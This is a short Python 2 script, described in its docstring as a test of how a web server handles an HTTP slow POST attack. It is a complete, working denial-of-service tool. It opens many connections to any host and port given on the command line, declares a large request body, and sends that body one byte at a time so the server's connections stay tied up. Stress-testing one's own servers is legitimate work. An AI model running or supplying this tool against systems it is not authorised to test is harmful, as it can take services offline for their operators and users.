#!/usr/bin/python
''' simple script to test how a web server handles a http slow post attack '''

import socket
import time
import sys

class Drip(object):
    ''' Drip drip drip '''

    # zomg too fews methods
    # pylint: disable=R0903

    def __init__(self, host, port, send):
        ''' set things up and poop out http headers '''
        self.send = send
        self.sent = 0
        self.sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
        self.sock.connect((host, port))
        self.sock.setblocking(0)
        header = "POST / HTTP/1.1\r\n"
        header += "Host: %s\r\n" % host 
        header += "User-Agent: SlowDrip\r\n"
        header += "Content-Type: application/x-www-form-urlencoded\r\n"
        header += "Content-Length: %d\r\n\r\n" % self.send
        self.sock.send(header)

    def drip(self):
        ''' drip out a single byte to the socket '''
        if self.sent < self.send:
            try:
                self.sock.send("a")
                try:
                    print self.sock.recv(1024)
                except socket.error:
                    pass
                self.sent += 1
                return True
            except socket.error:
                self.sock.close()
                return False
        else:
            try:
                self.sock.send("\r\n")
            except socket.error:
                pass
            self.sock.close()
            print "no more to send"
            return False


def main(argv):
    ''' lets do this '''

    print argv

    host = argv[1]
    port = int(argv[2])
    send = int(argv[3])
    drips = int(argv[4])
    socks = []
    bps = 1.0 # drip at approximately this many bytes per second on each socket

    while True:
        if len(socks) < drips:
            for _ in range(10):
                if len(socks) < drips:
                    socks.append(Drip(host, port, send))
                else:
                    break
            print "Chargin' mah lazers! (%d/%d)" % (len(socks), drips)

        sleep = bps/len(socks)

        for sock in socks:
            if not sock.drip():
                socks.remove(sock)
            time.sleep(sleep)

if __name__ == '__main__':
    main(sys.argv) 


